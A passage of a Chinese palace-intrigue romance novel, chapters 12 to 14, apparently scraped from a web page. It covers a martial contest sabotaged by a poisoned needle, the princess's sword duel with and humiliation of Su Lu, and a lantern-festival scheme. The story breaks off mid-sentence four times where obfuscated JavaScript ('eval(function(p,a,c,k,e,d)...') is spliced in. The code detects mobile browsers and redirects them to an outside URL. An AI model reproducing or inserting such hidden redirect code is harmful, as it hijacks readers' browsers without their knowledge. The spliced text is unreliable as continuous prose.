所有质疑在绝对实力面前都褪得干干净净。 谢郁棠咬下一口梅花烙,乜嘢蔺檀一眼:“果然是所向披靡,无人能敌。” “七星天枢子,携师弟六人,向世子讨教!” 一道如洪钟的声音落下,七道玄色身影程雁型列队,飞身上台。 为首的那人冲苏戮抱拳:“我七星本是剑客,可今日武试只比拳脚,不用刀剑,还请世子承让。” 苏戮亦抱拳回礼。 这七星剑客在江湖中颇有名声,谢郁棠也有所耳闻,挑了挑眉:“久闻巡防营巍大统领求才若渴,甚至不惜以重金网罗江湖人士,如今看来,竟连七星剑客也被收服,甘愿为我朝廷效力了。” 谢郁棠赞道,“巍大人,佩服佩服。” 巍咸西赔笑,心道这七星明明是蔺檀的门客,几日前三殿下登门拜访,说要举行什么武试,还带了不少江湖高手。 他一个官场老油条,哪里看不出三殿下是借他这场地除掉碍眼的人罢了,如今面对谢郁棠的“夸奖”,也只能打落了牙齿和血吞,只盼着神仙打架,莫要殃及他这片鱼池就好。 小福子俯身在蔺檀耳边道:“三殿下,都已准备好了,保证万无一失。” 蔺檀摇着折扇,看着比武场,面上依旧是浅淡宽和的笑。 七星剑客最厉害的是七星剑阵,如今虽无剑在手,但此阵的威力并不在剑,而在人,如今七星七子齐聚,阵势已成,放眼江湖,没有一个高手敢轻敌。 苏戮游走于阵法之中。 这阵法虽强,但他身形灵活,一时之间也不落下风。 “世子好俊的功夫!” 天枢子不掩赞叹,“只是不知这一掌,世子是否敢接?” 他立于阵眼之中,气沉丹田,推掌而来,这一掌集七人之内力,又有阵势加成,掌风所过之处风声猎猎,树叶簌簌下落。 苏戮飞身后退。 所有人皆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏戮一个侧身后踢,踢退后方的袭击者,紧接着一个旋身抓住迎面攻来的拳,向右一扯一带。 那身后挨踢之人连退数步,还未站稳就被迎面来人砸向后去,两人一起滚落台下。 “吃我这一招!” 台上仅剩的瑶光子早于空中蓄了半天力,此时抓住时机,掌刃朝苏戮当头劈下,苏戮正要去接,突然眼风向后一扫,微微一顿,忽然侧身避过了那一掌。 这一掌避得莫名其妙,瑶光子当他是怕了,得意一笑,正要再出招,只听苏戮疾声喝到:“别动!” 瑶光子哪里会听,紧追苏戮不放,提气到胸,正要再推一掌,忽地眉头一皱,竟捂着胸口从空中直直摔了下来,身体抽搐,口吐黑血,双眼一翻晕了过去。 苏戮像是早有预料,在瑶光子倒地前将人接住,飞快点在他胸前几处大穴。 突逢此变,众人都被惊的忘了反应。 不知谁指着苏戮大喊一声:“卑鄙!众目睽睽之下,你竟敢下毒!” 巍咸西反应异常迅速,抬手挥道:“来人,慕清王府世子苏戮,武试下毒,残害同僚,罪大恶极,把他给我拿下!” 话音未落,全副武装的持刀护卫早已将比武台围得水泄不通。 12. 第 12 章 好好的武试竟有人公然下毒,气氛顿时凝重起来。 这摆明就是设好的局。 谢郁棠看向一旁的蔺檀,只见后者慢条斯理地转着手中杯盏,似乎是在品茶。 “小姐,这定是他搞的鬼。” 握瑜还想再说什么,被一旁的怀瑾拉住,后者冲她摇了摇头。 谢郁棠凤眸微眯,正要开口,只见苏戮突然凌空一跃,转瞬间便已掠至台下。 侍卫们没料到他突然有此动作,想到此人深不可测的实力,一个个都不动声色地往后退,无一人敢上前阻拦。 巍咸西气得暗自咬牙。 这群没用的废物。 众目睽睽之下,要是还让苏戮跑了,他如何跟三皇子交代? 但此刻巍咸西顾不上担心这些,倒在台上的瑶光子才是让他一个头两个大。 方才他已亲自检验过,那人的确是身中剧毒,离死亡不过一线。 可三皇子当初找上门来,明明说的是“一点小毒,不致人性命”,不过是让那苏世子武功尽失无法动弹罢了,到时候便可任由他…… 这瑶光子内里虽不及苏戮,但也绝不至于中了个毒就成这样。 此刻再想不明白怎么回事巍咸西就是傻子了。 那个蔺檀,竟然坑他! 就算苏戮是谢郁棠厌弃的狗,人在自己的地盘上没了,那也是大大下了宁安公主的面子。 谢郁棠第一个不会放过他。 巍咸西越想越惊,一脚踢上侍卫的屁股:“还不快上,别让人跑了!” 苏戮却不是要跑。 一袭青杉翩然落地,手腕一扬,便自人群中捉出一个精瘦男人,朗声道:“是此人下毒。” 七星闻言齐刷刷看来,目中恨意浓到恨不得将那人活刮当场。 精瘦男人瑟缩一下,下意识想逃,奈何苏戮正扣在自己脉门之上,内力是一点都使不出来。 苏戮看了眼台上被七星抱在怀中的瑶光子:“我方才已封住他周身几处大穴,减缓毒血扩散,但此毒毒性剧烈,一炷香内若无解药,恐怕性命堪忧。” 天枢子手还搭在瑶光子后心输送内力,闻言看向苏戮,强忍悲恸道:“还请世子告知解药在何处。还有,方才我师弟一直在台上同世子比试,并未接触他人,世子如何得知是此人下毒,又是如何下毒的?” 话音刚落,只听天玑子一声惊呼:“毒针!师兄,师弟是中了毒针!” 只见瑶光子被扒开衣服的胸膛上有几个小黑点,不仔细检查根本发现不了。 “胡说!方才在台上,只有苏世子和瑶光子二人,且瑶光子一倒下他就知道是中了毒。若不是凶手,又怎会如此快便知晓原因?” 台下不知谁突然出声,很快引得众人附和。 “说的对!一个胡姬的儿子能有什么教养?怕是自己武艺不如人暗中使坏。” “谁知道刚才那几场他是怎么赢的?” “指不定背地里下了多少脏手!” “就是,见事情败露,还想拉人做替罪羊,当我们傻啊!” 天枢子起身,向众人行了个礼,他在江湖中颇有威名,年纪又长,是以营中众人都敬他几分,便纷纷安静下来。 “我师弟瑶光子今日于众目睽睽之下遭人暗算,身中剧毒,我们七星定要找到解药,找出凶手,为师弟讨回公道!” “只是,”天枢子看向苏戮,语气稍缓,“方才在台上是苏世子手下留情,才让我师弟天玑子免于受伤,且世子武功高强,远在我师弟瑶光子之上,若要取胜,又何须使下毒这般下三滥的手段?” 他向苏戮行了一礼:“既然世子说是此人投毒,不知世子可有证据,又是否知道解药何在?” “证据就在这里。” 苏戮抓着那人的手,“此毒名为暗花,中毒者会在瞬间失去所有内力,最终因毒入肺腑而死,而配制暗花需要用到一味药——秦皮。” 现场有略通医术的,已经面露恍然之色。 “秦皮遇水则呈碧蓝色,凶手既是用毒针伤人,手上必然会沾有余毒,只需让手浸入清水,观其是否变色即可。” “此法可行。” 一道清亮的声音自上首而来。 众人纷纷抬头,见原本端坐于上首的宁安公主不知何时站了起来,吩咐旁边的侍女,“怀瑾,你即刻差人打水来,那人是不是凶手,一验便知。” 这声音遥遥递来,声量不大,却让在场每一个人听得清清楚楚,如同讲话之人近在面前一般。 众人心中又是一惊,早闻这宁安公主不爱女红书画,偏爱喜欢骑马射箭,如今看来,此言非但不虚,这宁安公主的内力放到他们这些练家子中只怕也是佼佼者。 “公主请三思。” 小福子自蔺檀身后走出,向谢郁棠深深作揖,“瑶光子是在同苏世子比武时突然中毒倒地,怎么说也是苏世子嫌疑最大,怎么苏世子不过说了几句,大家就被他牵着鼻子走了?说什么遇水变色,不过是一家之言,万一是凶手设局,故弄玄虚嫁祸他人,那我们岂不是被歹人蒙蔽了双眼?” 话音落地,原先场中叫得最欢的几人频频点头,众人也纷纷露出摇摆之色。 小福子朗声道,“不如由巍统领先行将苏世子押下,细细审问,想必真相定会水落石出。” “你一个阉人算什么东西,这里有你说话的份?巡防营什么狗屁效率,等细细审问好,只怕八十柱香都燃完了,我师弟的命你来陪?” 七星中一个光头青年最先忍不住,指着小福子破口大骂。 他同瑶光子最为亲近,脾气也最为急躁,此时听到小福子满口仁义道德,其实不过是在自家主子面前弄权争宠,半点没把自己师弟的命放在眼里,便再也忍不住骂了起来。 眼看那少年还要再说,被天枢子瞪了一眼,终是忿忿噤声。 “开阳子也是护弟心切,天枢子,你莫要怪他。” 巍咸西终于开口,其实他也为难的很,一方面不想得罪蔺檀,另一方面又有心示好谢郁棠。 这两相权衡间,犹如钢丝走索,容不得踩偏半步,饶是他这个官场老油条也给弄得额头浸出细汗。 开阳子这一骂倒是给了他一个做和事佬的机会。 “小福子所言不无道理,只是人命关天,哪怕是十之一二的希望也值得一试,若那位仁兄真是凶手,想必也能立刻找到解药给瑶光兄用上,若不是凶手,咱们也不损失什么——不如便将可疑人等都交由本官审问,本官必会还各位一个公道,如何?” 最后一句话是看着蔺檀说的。 那小福子没有蔺檀的授意,给他一百个胆子也不敢开口,是以巍咸西想做和事佬还是得看蔺檀成不成全。 蔺檀端坐于雕花楠木高背椅上,手中的折扇慢慢晃着,脸上依旧是那副得体的和善微笑,“便按魏大人所言办吧。” 下人领了命正要去打水,却被谢郁棠叫住——“且慢。” 只见宁安公主环视一圈众人,目光在小福子和蔺檀身上停了停:“既然有人担心奸人设局,故弄玄虚嫁祸他人——” 她微妙地停顿片刻,“不如多打些水来,每个人都洗上一洗,咱们力求公平公正,绝不冤枉一位好人,也不放过一个凶手,如何?” 最后一句话也是看着蔺檀说的。 谢郁棠每说一句话便离他更近一步,待话音落地,人已堪堪立于眼前。 幽兰香如烟似雾地将他笼着,蔺檀恍惚间发现她已经很久没离自己这么近过了,喉结忍不住滑动一下:“公主的意思是——连我也要洗?” 谢郁棠一瞬不错地盯住他。 她眼中的光是那么盛,比以往任何时候都耀人,明明是看着他,可蔺檀竟觉得那双眼中不再有自己。 “不用。” 谢郁棠蓦地笑开,退后一步拉开两人的距离。 “我相信三殿下。” 侍从很快打了水来,众人一一验过,苏戮亦在水中净了手,那双手指骨分明,手腕内侧有微凸的筋,怎么看都是一双美人手。 只剩那精瘦男人了。 七星死死将人盯住。 苏戮看似站得随意,实则卡主了所有能逃跑的方位。 精瘦男人只得乖乖由着侍从将湿抹布覆在他手上。 “变蓝了!” “真的变了!” 湿布撤下的一瞬间,吸气惊呼声此起彼伏。 “你这歹人!我师弟与你无冤无仇,为何要害他?” 天玑子从台上飞冲而下,直踢那男人心口,精瘦男人被喘倒在地,哇地吐出一口鲜血。 他也冤呐。 明明瞄准的是苏戮那小子,谁让你师弟硬要往上扑? 天玑子还欲再打,被天枢子拦住。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了七星等人担心瑶光子的伤势早早退场,众人无不举杯畅饮,三三两两或划拳或斗酒或畅谈,苏戮面前更是排了长长一队——武试以实力为尊。 他已然是无冕之王。 谢郁棠端了一碗酒走到蔺檀面前,周围满是喧嚣之声。 蔺檀眼瞧着她一双含情目直勾勾看着自己,比寻常更动人几分,涂着丹蔻的手将酒碗放到他面前。 她满心满眼都还是自己。 之前果然是错觉。 蔺檀自己都没意识到,心下先是缓缓松了口气,喉结微动,正要出声,只听谢郁棠道—— “殿下的剑,准备何时赏赐?” 蔺檀这才发现,原来谢郁棠一直看的并不是自己,而是他身后挂着的剑。 ——名剑悬翦,她要他承诺给今日武试得胜之人。 心口像是突然被捅了一刀,无与伦比的怒火和酸意淹没了他整个人。 蔺檀藏在衣袖下的手早已握拳到指骨泛白,压了又压,这才勉强维持住脸上的笑。 “不过是条被你赶出府的狗,棠棠竟还这般在意吗?” 谢郁棠勾唇一笑,面上没有丝毫被蔺檀这挑衅的言语激出羞恼的样子,“就算是不要的狗,咬了背后作祟的小人,本宫也是会赏的。” 那句“背后作祟的小人”让蔺檀心下陡然一惊,瞬间竟有种被看穿的错觉。 两人对视片刻,蔺檀蓦地一笑,将身后挂着的悬翦取下,手一伸,递给谢郁棠。 “棠棠既要赏,那本王便把这个机会留给你。” 他双手呈剑,向后退了一步,“请。” 谢郁棠不动。 目光缓缓从剑上移动到蔺檀脸上。 又要试探。 他还想试,试她是不是真的放下了苏戮。 “好啊。” 谢郁棠同样挑唇一笑,自蔺檀手中接了剑,足尖一点栏杆,一道绯红的身影自高台直掠而出,稳稳落在比武台上。 绣着金线海棠的衣摆随着主人落地的动作在青砖地上扬起半圈弧度,悬翦出鞘,指向台下被簇拥的少年,挑衅地一扬下巴。 “苏世子,本宫讨教一下你的剑法。” 13. 第 13 章 宁安公主竟要亲自下场。 场内所有人的注意力顿时被吸引了过去,一直端坐于高台之上的蔺檀亦不自觉前倾了身体。 苏戮被谢郁棠用剑直直指着,阳光自她身后打下,勾勒出女子高挑的身姿。 两人静静对视片刻,苏戮将手中酒碗放下,在众人愈发热烈的目光中登上了比武台。 众人的视线不断在两人间逡巡。 这二人间的事他们多多少少听过一些,本以为谢郁棠观战她前“男宠”的武试已足够劲爆,没想到还能看到两人同场切磋。 这可比方才的决赛不知精彩多少。 “苏世子武功高强,就算赢了本宫也难免被说胜之不武。” 谢郁棠挽了个剑花:“本宫便以此剑讨教,如何?” 苏戮自是无异议,做了个请的手势。 谢郁棠起手便是凌厉杀招。 杀意伴着剑刃寒光一并向少年袭去。 这一剑看得台下众人皆惊。 此前谢郁棠几次出言维护,不少人都越发相信她是一时气恼才将这苏小世子赶出府,其实心里舍不得得紧,今日怕不就是来捞人的。 可这一剑分明是奔着取人性命去的,半点没有留手。 若是个反应差点的,只怕已被穿了胸膛。 苏戮疾步后退,眼看半个身子出了台外,腰身突然以不可思议的角度向后一拧,擦着悬翦利刃而过,向对侧一闪。 谢玉堂当即变招。 足尖一点凌空翻身,转而朝少年后心刺去。 她招式伶俐,苏戮只守不攻,二人转瞬间拆了几十招。 谢郁棠是真有些手痒。 她前世就对这位传说中战无不胜的小慕清王好奇极了,可那时身为中宫皇后,不方便同臣子提剑切磋。 重生后她将少年带回府中,又忙着布置复仇之事,还未曾同他好好打上一场。 如今便正好借了这次机会,也探探苏戮的底。 谢郁棠越打眼中光芒越炽。 在台上看过再多遍,也不如自己亲手打上这么一场来的痛快。 每一个走势,每一个剑招的玄妙回应,只有亲身对战才能体会。 “苏世子还不出招?” 谢郁棠清斥一声,步步紧逼。 少年在她催促之下终于开始反守为攻。 终于,在拆了她一剑杀招后,少年并指为掌,朝她攻来。 谢玉堂等的便是这一刻。 手腕一翻,不闪不避,悬翦直直朝少年刺去。 她竟不惜受他一掌,也要将这一剑刺出。 苏戮眉目一凝,急急收掌。 可谢郁棠剑势半分不减,转瞬便已逼至他面前。 少年因着手掌已错过唯一的闪避时机,眼看利刃即将穿胸而过,玄翦蓦地一横,重重拍上他胸口。 苏鲁闷哼一声。 被剑面之上的内力震的急退数步。 眼看退至高台边缘,腰上忽地被人一拦。 谢郁棠竟在大庭广众之下将人拦腰勾住,以一个极其暧昧又充满占有欲的姿势揽在怀中。 悬翦贴着他脸颊缓缓滑下。 冰凉的剑刃只需稍稍压进便能见血,却被她狎昵地拂过眉骨,脸颊,最后停在锁骨前,向上一拨,衣领便被挑开。 苏戮浑身一震,几乎从她怀中弹起,垂着眼屈膝跪下。 破了的衣领遮不住底下风光,半截锁骨似露非露,少年声线冷得几乎没有温度。 “殿下实力非凡,戮认输了。” 众人从这转折中回过神了,微妙地交换着眼神。 方才两人招式虽快,可他们都瞧得清楚。 苏戮那掌若未收回,输的便是谢郁棠了。 但宁安公主一介闺阁女子,于武学一道的领悟,放在江湖之上竟已是一流高手之列! 众人无不暗暗心惊。 眼神已然从单纯的看热闹变成了交织着复杂的震撼。 “苏世子自谦了。” 谢郁棠淡淡接了句,却并无让人起身的意思。 居高临下俯视那人半晌,才屈尊降贵地倾身,掐住那人下巴,一抬。 她的眼神自他眉骨和鼻峰刮过,最后,停在一双微抿的薄唇上。 “你想高飞,本宫便放你自由,以后,莫要出现在本宫面前。” 少年的脸随着她收手的动作向左猛地一偏,如同被甩了一巴掌。 悬翦丢到他面前,咣当一声,谢郁棠头也不回地离场。 众人再次交换了眼神。 本是头筹彩头的悬翦就这么被扔到他面前,谁都能看出谢郁棠刻意的羞辱。 就像是给狗扔了块骨头。 原来不是谢郁棠厌弃了苏戮,而是这苏小世子放不下身段脸面,扫了公主的兴。 ——这才合情合理。 怎么说也是个世子,就这么被堂而皇之地拘在公主府,整日里做那些铺床打扇,伺候晨起的活计,哪个男人受得了。 巍咸西亦是松了口气。 要是谢郁棠出尔反尔把人要回去,他可没胆跟公主抢人。 如今谢郁棠放了手,人又在自己营里,日后怎样,还不是他一个人说了算。 看到那骨头般扔到苏戮面前的悬翦,巍咸西心下起了几分不忍,便要上台捡起拿给对方,却见少年修长的指骨触上剑鞘,双手将剑捧了起来。 本是极具羞辱的动作,可他姿态太过淡然,倒显得旁人自己多戏。 苏戮双手捧着悬翦,仿佛方才的羞辱统统不存在,眼神驯顺地垂在地上:“谢三殿下,谢公主赐剑。” 倒是个能忍的。 不知谁嘀咕一句:“这苏世子就没一点脾气?” 另一人压低声道:“你再仔细看看。” 台上的少年虽然双手捧剑,低眉顺目地跪着,但细看之下不难发现,捧剑的指尖是颤抖的,指节是用力到泛白的,下颌角是紧绷的,垂下的浓睫将眼底一切情绪掩埋彻底。 蔺檀隐于扇后的嘴角嘲讽一勾,既觉得这人完全不值得自己试探,又在心中忍不住的舒爽。 不过一条狗罢了。 脸长得再好也是个下贱玩意儿。 * “小姐,人家苏世子为了你都那么卖力的演了,咱们这样……会不会有点不地道。” 谢郁棠掀过一页书:“怎么?” “你约蔺檀去灯会!” 握瑜看着谢郁棠刚刚吩咐她绾的发髻,再也忍不了,“还为他梳妆打扮!” 自从谢郁棠说要邀蔺檀灯会同游,最担心的便是握瑜,生怕自家小姐再被他迷了心智。 谢郁棠说白日里去武试场的妆发太过隆重,不适宜晚上的灯会,特意让她打散了重绾——女为悦己者容,小姐心里不会还放不下那个姓蔺的吧。 之前蔺檀对小姐如何,谢郁棠不觉,她们这些下人可都看在眼里,那蔺檀根本就不是什么值得托付的对象,算计大过真心,并非真心对待小姐。 握瑜一副“过来人”心态同她讲体己话:“男人嘛,就是个消遣的玩意儿。既是消遣,当然是得找个可心的,脸蛋好的,听话的,会讨人欢心的。” 至于可心的,脸蛋好的,听话的,会讨人欢心的是谁,不言而喻。 谢郁棠哪还有什么不明白的。 握瑜无非是怕她再次恋爱脑同蔺檀纠缠起来,于是想法设法的找个“消遣的玩意儿”转移她的注意力,而苏戮,不幸被选中成了这个“玩意儿”。 她漫不经心地听,手里把玩着一条金色细链——这根细链从前属于乌追,后来属于苏戮。 自从那日跑马地他亲手把狗链系到自己脖颈上后就再也没摘下过,任谁看了都知道,慕清王府的小世子苏戮,是她谢郁棠的。 直到苏戮奉命去调查巍咸西,才暂时将这条链子取下。 思绪又飘回演武场上,那个驯顺跪着的少年。 只一个眼神,他就能明白自己的心思。 然后毫不犹豫的配合。 他是踏着尸山骨海出来的杀神将军,是如皎如月不染纤尘的小慕清王,可他竟愿卸去一身傲骨,愿泥泞沾身,愿垂首屈膝捧出一颗七窍玲珑心,为她低到尘埃。 谢郁棠清晰地感觉到心脏在胸膛剧烈的跳动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么一搞,他蔺檀盘算好的“散心”就从“公主厌弃的狗死了,本王陪公主散散心”变成了“堂堂武试竟被宵小之人下毒扫了兴公主的兴,本王身为主考理应向公主赔不是”的散心。 无端端矮了一头,蔺檀心里哪能不憋屈。 原想着此番登门少不了要吃些苦头,没想到谢郁棠这么好说话,连马车都备好了,看来心里还是对自己上心的。 想到这里,蔺檀面上挂了几分笑意,扬起的嘴角却在看清谢郁棠手中的书名时僵住了。 《跋扈公主俏侍卫》 谢郁棠也没想到怀瑾敢这么跟她玩,这话本也不知是从哪找来的,语言大胆泼辣不说,里面的绘图也是相当香艳,她随手翻的这一页就是公主将侍卫压在身下,公主衣冠楚楚,侍卫则是相当的……不体面。 全身上下没一块完整的布料不说,手腕还被绑在头顶,公主的手里则拿着一根长条状的物件。 谢郁棠还没看明白那到底是个什么东西,手里的书就被人抽走了。 蔺檀气得胸膛起伏,一把将手中的书扔出老远,仿佛多看一眼都会脏了自己的眼,闭着眼缓了好一会:“棠棠,你贵为大兖公主,当贤良淑德,温婉有仪,怎么能看、看这种污秽之物?” “简直——”蔺檀简直了半天,终是一甩衣袖,怒斥道,“成何体统,妇道何在?” 那画里的侍卫,竟然还长得有几分像苏戮。 ……这个怀瑾,亏她还让握瑜多向她学学来着。 一个比一个胆大包天。 苏戮还在巡防营,谢郁棠不想给他添麻烦,便从架子上另取了一本册子,波澜不惊地糊弄过去:“之前的东西,还没来得及扔。” 蔺檀脸色稍霁。 谢郁棠捻纸页的手指一顿。 ——《百变面首》第一章:小倌月下抚琴一曲惊艳长公主 …… 谢郁棠开始后悔拿画本打发时间这个决定。 府里那个芳倌,她没记错的话,是以抚琴为长。 14. 第 14 章 涂了豆蔻的手指所握的画本上赫然写着—— 《百变面首》第一章:小倌月下抚琴一曲惊艳长公主 …… 谢郁棠开始后悔拿画本打发时间这个决定。 府里那个芳倌,她没记错的话,是以抚琴为长。 * 等马车在鼓楼大街前停下时,蔺檀周遭气压已经低得能让乌鸦坠地。 这些日子她不再缠着自己了,原来竟是在看这些玩意儿! 蔺檀又气又恼,恨不得一把火把这些晦气玩意儿全烧了,但仅剩的理智又拽着他——他今日来是同谢郁棠讲和的,万万不可因为一时气恼,忘了今晚的目的。 思及此处,蔺檀努力挤出一个微笑,递出手去,温和的看着谢郁棠。 以往他做出这个姿势,谢郁棠早就眉开眼笑地搭着他的手下马车了,而且还会尽量多牵一会他,放手的时候眼角眉梢都是依依不舍,万万不会像现在这般,看都不看一眼他递到面前静静等待的手。 谢郁棠自顾自下了马车。 车辙偏高,但她下车的姿态,比他还从容。 “三殿下有心了,不过本宫用过更好的,就不劳三殿下了。” 更好的? 什么更好的? 她几时就用过更好的了? 蔺檀神色一凛。 他想起来了。 那日谢郁棠去巍咸西的别院拜访,苏戮那小杂种竟是跪在地上用自己的肩膀给她做踩脚凳的。 坊间都传遍了。 当时他还不信,想那小杂种再媚上逢迎也不至于这般不要脸,如今看来,此事怕是八九不离十了。 蔺檀又想起方才马车上瞥见的那些话本。 ……谢郁棠这样的疯女人,会就只是看吗? 当众把人当踩脚凳的事儿都做出来了,私下里那得成什么样? 蔺檀嘴角的笑几乎要撑不下去。 越想越觉得心惊胆战。 谢郁棠对他风云变幻的脸色没什么兴趣,只见这鼓楼大街到处张灯结彩,飘着红色的绸带,她脚步微微一顿,不知怎么就想起那话本里的绘图,苏戮那么细瘦一截手腕,要是绕上这种绸带…… 谢郁棠垂眸笑了一下。 这笑太过一闪即逝,蔺檀看过去时,只剩了些飞扬的弧度,他怔愣片刻,顺着谢郁棠的目光看去,见是一个摆了五颜六色花灯的灯铺。 “棠棠可是喜欢这花灯?本王买给你。” “不必。” 谢郁棠淡淡抬手,阻了蔺檀掏银子的动作,自今晚见面以来第一次正眼看他,说出的话却是同样的绝情,“本宫想要的东西,不需要你来给。” 天空的皎月映在她眼底,比周围的花灯还亮。 蔺檀却在这目光中怒火中烧,头一次生出不可控的惊惧,他张了张口,正要说什么,谢郁棠已经淡漠地转身走了。 连一个眼神都欠奉。 仿佛已经忍了他许久。 “棠棠。” 他追上去,一把攥住谢郁棠的手腕,压抑地怒斥,“本王做了什么,让你这般恨我?” 恨。 话一出口,他自己先是一惊。 是了,是恨。 她看他的眼神,虽然掩饰的很好,但眼底的恨意,还是会流露出来。 谢郁棠的眼神从他抓她的手腕移向他的脸。 谢郁棠蓦地一笑,另一只手食指点上他的心口。 “因为,你往我这里捅刀了啊。” 她一字一句说的清晰,蔺檀一怔,谢郁棠却已经收了笑,冷漠地甩开他的手。 是乌追的事? ……还是别的什么? 蔺檀追上去:“棠棠,你说清楚,我几时又惹了你不快?” 前方二楼,乔庄打扮过的怀瑾站在栏杆前,同谢郁棠点了点头。 谢郁棠不动声色的向下看去,见到了一身湖蓝衣裙的郭妍儿。 郭妍儿是禁军统领郭守贞的嫡女,前世因其父从龙有功,蔺檀登基后将其迎入宫中封了惠妃,在宫中跟谢郁棠很是不对付。 “小姐,真的要撮合三皇子跟这位郭小姐吗?” 那日怀瑾听完谢郁棠的吩咐,还是忍不住问了句。 重生后谢郁棠派人去查了这个郭妍儿,这姑娘还跟前世一样对蔺檀痴心不改,这次听说蔺檀来做了武试的主考,便偷偷瞒着家人溜了出来。 “现在还不是跟蔺檀彻底翻脸的时候,可他那张脸我看了就想吐,实在懒得应付,而且……”谢郁棠一顿,说出自己最担心的,“万一父皇下旨赐婚,我还真不好拒绝。” 开元十一年倒马关之战后谢家满门尽成忠烈,但谢氏于沙场经营数十载,在兵部余威犹存,残余势利尽归谢郁棠掌握,皇帝不可能放着这块肥肉不管。让谢郁棠嫁给皇子,以联姻的形式将兵权牢牢握在天家手中是皇帝一直以来的打算。 这打算谢郁棠曾经也乐见其成。 但现在不了。 反正蔺檀跟这位郭妍儿姑娘迟早要勾搭上,她索性牵回红线。 “棠棠。” 蔺檀终于追了上来,这一路也太难伺候了,以往他随便说几句软话买几个东西就能哄开心的人,不知为什么突然就不吃这套了。 还说他往她心口捅刀子。 说她想要的,不需要他给。 蔺檀强压下心底的慌乱和薄怒,“棠棠,你这也不要,那也不要,你到底要什么?” 要什么? 呵。 谢郁棠勾了勾手指,蔺檀眼前一亮。 终于是要跟他服软了。 蔺檀故作矜持地咳了一声,慢悠悠地躬身靠近,只听谢郁棠贴着他耳朵,一字一句道—— “本宫要,送你一份大礼。” 身后一声惊呼,一只花盆从二楼掉了下来,正对着楼下一个年轻女子头上砸去。 蔺檀还没来得及反应,谢郁棠突然给他后背来了一掌,蔺檀猝不及防,惯性向后退了几步,正好将那湖蓝衣裙的女子撞开。 那女子重心不稳就要摔倒,蔺檀本是冷眼旁观,却在看清那女子脸时突然改了主意,伸手将人拦腰抱住。 两人因为惯性转了几圈。 花盆擦着二人脚尖咣当一声摔得粉碎,他们才从彼此的对视中回过神来。 蔺檀松开手,温雅宽和礼数周全地向那女子作了个揖:“巍姑娘没事吧。” 郭妍儿以袖掩口,脸颊飞上一抹红晕,袅袅娜娜地回了个礼,“见过三——公子。” 他们一个是三皇子,一个是禁军统领嫡女,同在皇城中,要说互相不认识也不大可能,只是如今两人才算是有了个单独说话的机会。 蔺檀一身衣着打扮,一看便是不想身份暴露,郭妍儿从善如流改了称呼:“公子也是一个人来的?” 这个“也”字用的很妙。 蔺檀当即听出了郭妍儿的意思—— 我是一个人,如果你也是一个人的话,当此佳节,不如一起逛逛? 蔺檀不可谓不动心,对方是禁军统领郭守贞的嫡女,禁军同巡防营不同,后者负责京城治安,而前者则是直接在御前带刀护驾的,若能得到郭守贞的支持,则他成功上位的保障又多了几分。 要是平时蔺檀就应了,只是—— 谢郁棠还在呢。 掌握着边防军权的谢氏嫡女,备受盛宠的宁安公主,他说什么都不容这块肥肉有差池。 蔺檀温和一笑,不说是也不说不是,嘴上客套着,心里则在飞速思量该如何处理才能两边都不得罪。 这么想着,扭头去看谢郁棠,却猛然发现,谢郁棠不见了。 人群中一闪而过一道身影,与谢郁棠有七八分像,蔺檀心中一动,正要追去。 “公子。” 郭妍儿拉住他的衣袖,笑中是闺阁女子见到欢喜之人恰到好处的娇羞,“公子明明就是一个人来的,还找什么借口?” …… 蔺檀竟无法反驳,他今晚是抱着同谢郁棠有所进展的心思来的,除了护他周全的暗卫,特意支走了身边所有人,连小福子都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618889|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带。 可他又不能坦言自己要去找谢郁棠。 找不找得到不说,还会把这位禁军统领的嫡女得罪了。 蔺檀这片刻的安静看在郭妍儿眼里就成了贵公子的矜持,她盈盈一笑,主动朝前方一家花灯铺子指了指:“咱们去那里逛逛?” 灯会佳节,鼓楼大街上人头攒动,五颜六色的花灯迎着红色的绸带,将大兖都城的夜添出袅袅人间烟火气。 街上随处可见各种小摊铺子,还有推着竹筒水车的小贩,竹筒水车是大兖独有的民俗,将一截截竹子挂在轮子上,竹筒里装着水,用柳枝蘸水洒向亲朋好友,是谓祝福。 谢郁棠在蔺檀搂住郭妍儿的瞬间便闪身进了一道窄巷,直到郭妍儿拉着蔺檀走了,她才从窄巷中出来,朝跟他们相反的另一头走。 上一世,蔺檀每次同郭妍儿互动总能让谢郁棠喝一坛子醋,可她方才看蔺檀的手扶在郭妍儿腰间,看两人眉目传情,看郭妍儿巧笑倩兮地邀蔺檀去看花灯,谢郁棠只觉得内心非常平静。 没有摆脱渣男的欣喜。 也没有难以捉摸的不快。 她就像是一个旁观者,一个局外人,冷静的看着自己曾经倾心爱过的男子,同别的女子,交手同游。 人的感情真的很奇怪,曾经那般浓烈的爱,原来可以消失的这样突兀和迅猛。 